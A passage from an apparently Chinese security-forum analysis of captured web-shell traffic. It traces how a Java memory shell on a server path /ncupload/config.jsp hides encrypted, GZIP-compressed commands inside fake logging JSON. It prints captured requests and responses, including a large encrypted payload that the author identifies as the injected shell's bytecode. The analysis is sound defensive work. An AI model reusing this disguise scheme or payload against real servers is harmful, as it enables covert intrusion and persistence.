{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8"} ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bfd224f6b399a5d41c3e1b2d5a2d14ec15cb5a8f.png) 我们可以看到,返回值就是一个比较伪装的好的报文 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-32f8b8079d6e33689889e4dffa0bdbe940fb7f99.png) 分析到这里,本以为已经分析完善了,可是当我们继续查看流量包的时候,发现并没有那么简单,当我们对他的流量进行重新解密的时候,按理说,可以正常解码,而且返回值应该差别不多,但是实际上,解码出来并不是class,而是乱码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-a86d8fd528bfd545732153804435bad15b7fd259.png) ```php POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 208 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: application/json;charset=UTF-8 Content-Length: 290 Date: Mon, 25 Jul 2022 11:16:23 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}} ``` ```php POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 272 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de0fad0fe6b3a09096af4f5d283d62f6adf581152788ec510921bb0f8e271590c9b847a8b3bde605fb0556665cb8df1041000d9cec2789b0f2d5cc4dc3c69ca3811"}HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: application/json;charset=UTF-8 Content-Length: 4154 Date: Mon, 25 Jul 2022 11:16:23 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"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 5AIKxy1e57fHrACOQkZBwMYXKQXaFw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}} ``` ### 2.1.7 GZIP编解码 内存马配合http头,改变了传输的加密格式 我们在传递的时候,查看他解码的数据,发现,均携带1F8B08000000 ```php 1F8B0800000000000000CB4D2DC9C84FF14BCC4D65E2656060484F2D714A2CCE4C2EF6CC4BCB2F4E2D2ECECCCFF34C6112044A6546E6571519F8B8F85526A717A454394602006D9268393B000000 1F8B0800000000000000CB4D2DC9C84FF14BCC4D656261606028492D2E0100F839225013000000 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-46148ec1bb6d7b1bc06c44ff42f33d83fe2a806f.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-349fa269c67e7f9607c62d6e590c9c3ae82d0af1.png) 百度查询之后,发现是GZIP压缩,为什么会产生GZIP压缩呢?根据之前的代码传递均为字节码 我们加入GZIP解码,发现流量均迎刃而解 ```php 26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e 解码 6D6574686F644E616D65020400000074657374 ``` 我们可以在流量中发现奥秘,针对每个流量包进行分析,最终在一个比较大的流量包中,发现了正常的字节码,也就是攻击方导入的内存马 ```php POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 47312 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a2107246e5500edb8ef653e20a9041065ed1b5dbce58ba85c9fdad45957ad326589849d982e389a086f2b5f22c5a2a1a23e4312c121c96a4005a70545bdac9a4bbd9f5827c12c06511a7819133b2d2477b6db12f7f4dd9729fa95ece70417e79461d38645cd3c2ace3dae14b6738fe1844dd430969543404c8355c6b88c27e2cd2735ccaff37cd12c34ea6994fc7f826519fdaf2b2a5a9cacf0aadd72026b350aef04b165f2778f295fdbc622f3265211cac3c9fc14fb5e49b8d7025114df279ad03ea3ce79b1e03927f8ff46ca5c96edc9412b11d161c7737a1cf9c4658bb04db4cb313248f5354e0d8b231b824cca78886e4162a5ae9720eb9a3e25d490c90ff1a25c51d89b920088a1fabca4fe0fa72380396456feab046d069bf5858782c1ab7f9df68560e48f7642e9d4865397f6b1ee0775ffea9fc0e41b6684fb71ef665fab1170abb184b5faf4b0ef3a3c48561fbd857c423b8cf063dd8f0fbf9928a9234e4cbd355d98c86a71be5ea834b07938559251453969e22d47896e5fffb3881b64fd0edc1f6d0780dbda020ee23cb93d8f4915ccd537bac95bf9fa58ce70d2b566f2fc38a5297c067ea709bb21688cc6070b86f2fd9c8d0e69df7307b66f66f1d964004b56ab906b225b78249feaa4ca7d0e2281adc14b94ae071724d67bc151a049376e13169ca254a53bebc4f6fa7a070c8d33b01f78ef2cc792713ecc8b31db3cf9657e6f824ea3e62781be3439e8f2f467264e786977956bc8eb8aa0410ec4c2e92866cfa7daf4489c03941f76b97f58957a91432e56ce0c8312feca034775cc360c712a44b66a1ff6d9427f6b462bf5877ec82d19828a28d4304a1f75542afa4cd01d3335fd7f54a2497c000892f2edd61cf8cf6b831335dda677d40d5416c717f953cd03fdf8b3b97d4330787bae19161353ae6d56fb748d8c8fb75864701f37f14704f6ae504a4341feec90f98414c5183be580931d70d250ebe3c2e02437306941f38a635d4fccd63c1a986f783324aee1be23d3dba595837634c9756370204374eb14d3dc5abfa8f20085ce695e6b4afe20f595ddc7d7ef1752a2b51f217acc1f6ef9c2bf1a2b39830b793782ebe7d49d4640e8e5cd7ce4e177e419409532bb3fe4b0ea4625f6875d00872ddec9a69fdb226771f7f6a17628968f462f16d213dbae293f17d4ba43aa47a2abb2b82bdc5406f58b0b1871ca99b057d27961ded01927f24b73228d20a7b8434713ac7654118792b5f2a3e2b015448d85a3ebba4219dfb91ba8b3f2f25c1b3950b0b596bac6f80e0bd7204fee345653d5a6be81df69795550cfb2aa200753f69702aa4a70cfb9f4b624bf952d20e93f640fee64413b7b94a9ab89e6dccf32c9cb0f93c2b4d1870fc145ad68371287781b56fad23bebdb885c3fe78c475aeb69af6f658ae914957e11dcf00aad39a6f5b645836624598efe0398b9a4e494a575e86eee0c3e31e3601c5bd6291a955bb917310b15916670ad67a330324162da31e138c926ae7fe3bf5fedf7e71233f75db5b70f1f7941ce93dafd21ae94a7501af83873c50229411e9bfd3531958833257b8cbdfc2f9f36c21aecc13a9d95e1ad07b45e5234dfa72850035463ee36528f1c9290784ee26833fee11a527c5b70d61ff7c220083282e7a1c3d97b0fe6566e176503030d1059445631c5a77b5766896fb0fa84bfac8a051c49653f6fe38ce681cdb81e53931e6373143958bc83647a44c1d1e67d6534f8e8e371f57f5bc11131c9fcd6f096523a2ad3444f890a779c8a2bd0e894ecc9e12a4e22719ab2f7ccb6f3b3e30328f689b32582bd3c64520f823788f2ecef65af804be8fd622d29961f681f2c91c2deefcf789346b812711949f1c092f19b569c4a04a6f6c8ad1e4b4bc47c2b2237bc93eb221a552e171573143eb36e27de9fa33e7ec94ade8762d2fbce59096170475bd0339161d305e0fcef615caeec8ff69de8e4868733721e28ca55847007b12fab0020aa4b148d5937bebdf17d4c10ec055ad1f2b031039028329be4ce5add7d6cd77887d4e9af1201c12e9a27cc64db857f49345f28fd6bc680fea95845a100c02645af06541eece0f4c342cee4f2a90eb8bca9dd31e14f8e7cf4dca60d978c63c921a7911cad1a6daff744bccb612283acb705defb2a5c3cca6744f93130ea32334a71b23578c45d844dd7ae90c4ac252b9487e354384352ca12f09056bfdfdf39b7b4e3a98e8c900a8b6d85be2cf329abaa5450f0b235d624e0aae1a8f19af5bebb5ae7d7f9ccb895fcbf5889a97f7341e4e47bb941a034d00b28f6b3e4425f93151db1aba7a2abb8c7a01307bb4a88f3c27f5d09aeba01d3b3e0acb746b0de6eae287b7b3f7f41f507721dc5737bce02d2df6fa4686ee77765a2a63d3d7c19eb4fbc50bad9bfd0f244f19176e345df36967bd14effd4104981b846c23c6d85415c865025adb1db1778147363b1d6ffe7b016fa61204718f06bbde2cfdb499c292105d81bcc25b2d08f245801ff59df25dfb42a9d0c2e25a93443e14f8bc30ed52361a5730c12a639b3ca290615727c4e892b1e797a9d9fb6a6501b0b9fb1cf91979975951cf84798d43c73e754678d40e2b14904ffdbecee122fec5274e0d61d0a5c1f496b29c485614338568bc30ed52361a5730c12a639b3ca2906c70ac2fc78673125867b9ac63fa04eb6448f8d478945482bafc7a77ff6dc5877be60f90a79d93020c58bacbb8e1108902b33dd52592b6c7c3dcba6bec8c1ba2f01efbb75c9809394f059b2c43bb31f766ca710583ed06a53b8c9cda46bfc905e13dfe46398e79d0643a1c91812fb04e1cccfdc465e81d168f99ef3f345c09ca4dde4c3b37174a9e004b1fb1393fdb77aa5c528e41b30bf7d533f93d747dfdf2c6d8630560c54c9ddc850cd15938551af8a75a46a6fcd065d64021af713dab0c25dbaf55b6ed849d3a82888a2cfb0390e6ddefc31f575a3b7f0b9c099cb39a2fe3070b4b578fc93069293243fecdf52bd9b20dd75e50dbd2723e828863dee27d648cb5aaf9c1cd67ba1acae9eafee634f5237394fb2be0fb6d9362116e2e9d2778d02a57a45672bb29f69bc05a7d6c24c824deaf39c5c89e4c11b419fc07dd6148d1d1b319aeb7a37a3d8b5a845001c23417be44443ef7c4429976cfceb93b9fed1a460c33d3e5a830f231efbf719e70c62b95a98c1fc96812df269f5703e8b9f1c227ad1535cfe5f410c9124e6b51dbac27e5565d24805b5cea1a42f2dcf445a97847521d47dd237a98d005d32d303326e4df3572e7f7b1c66c4c94d890a565fd23cffde99a8f1e404043c221e4d1a16668bc985c7970931d0596dc745be04bf5b60123c77e7ee75c3f276f1f747439634b041da8b774f6a434057fd1f7160e11f030c365c80984b54d33592776fb9fbbcb7532783535a9e987a587aed2b0b9198367f96019b2f30a88419c8854ea01131f1f0b6a142858b2622d1dd42a0c94e1bdc43312c913419b1bf33763b1f22c65895f72403a6934b9e5f76b80e6dd1c477df564661467b261c995b444b91638c2e2eb1d86839881ceb4181307644843e7d6603b43d4d99a508d8006bcc7a8fe991c86461d3eb83856bdfd1f62af13ad0d7c8bdd825cbc18b2da1815c462f22b4b02e2c8d155b597e931dc8bb73ada730541df773bd09daa94f027c95fdd7c20bf81701e8dcf6f56e19df385a4e1a11ca09fbed893edc5565f511698b7699e1ce7ae0808d688f72fab395588f9a6cdaf343ffaf28e567e4e4b522cdc049dc967e462919969fb3ab1545a37cdd65db7f5e55ee9e725ba8eafb397ef7f0cfccbfd9ecd77121f923fa0e96aa7cca3e7c468af96ae4e885a4d55684c22ee09bf55928c6f8a4586524ec5e86abcf9dc9ccc070b3cf2e1bd7a96451c9db07b508e38a997903500da4131d649664503399f92995071e715265636b188306c404457de80680de7daeeb3a60b2fe72a967df57771faf582bd4da954e9330b80b6884825c944fc92e66c48fbb3aa8084ef1b9f884defc1de48c74ddc0c1dec8de843eff59ca382fdd3cd15c1af94625ae37e30ca33c706ad1a5faec9d001987ee2175053150795fd23fc0b6bd69b239c3156bbb5774652778400d8207172d2abf0c3f5009064bd210b8a91c67675b44f0001b9e88f555847acc0a75fc691c11c0f2bded2807e32e08924272d2d1fcda2f44982ba1caad11ee85910bae2b5de4106bf8334980d929029065eb5f92a4b2525eefca629f115b83f66ca002aeafd3c6fc31ce2529df84868bfd02a0fd678dc6597c4254e53ec0fcd172c6ac20f4200044f8c4ad25db769134eb29241e7b5c0a0ebcbce130d2a72b86bc3d9955ea3df8d5889a3805e2024441f522a85e8f0388792700639a99af7f1ba17f2c81814eb64791283d3f3a7dc5ab12324eafcea1a82f87ca01a4e11c6616fca123dbc28ae95f08c4dd56df88b71910f64b77bd39a4b046f639dde594435e64489792a20f087e2523efa6fe64b5fcb9a15f124495dfa3c2b584670a2cdd36d9eb2ee711218448fe127ea69c586ea5d9d268b79ac0d108606c1f01e1a0602c1fcdb7c4539c4628ba02bf9dd5b9776c082e9db188a25bff17913085776202a0209ac4cfdfcac76dcfa8786ced2ff416d0a932eee934ba8b2dcc7f3de59f65c3123c91bd4ed41084e061d94ac064e86d5b3df2707c2e1c35bbc792943565caedd1a4a94702336206e3e041efc3a25f52fdaee61b50bfea5ca8a5639342c7e65db15392d7064c41cb9e621d03ab3d5d513d3a8f90e0746df28f3410e156116051501f74e32f830ab8e2503e17458b016e2a82e643f051abe8b380df7610e8a956de266027459b322fd0c0ba3e59b0c8af223c7573ec28e22e883797ce5c5913c8d54364b0f70da064a50b0189f7ec837de26d88a580cbec220f87454f3eaac069b43dc4a7fc534ea1d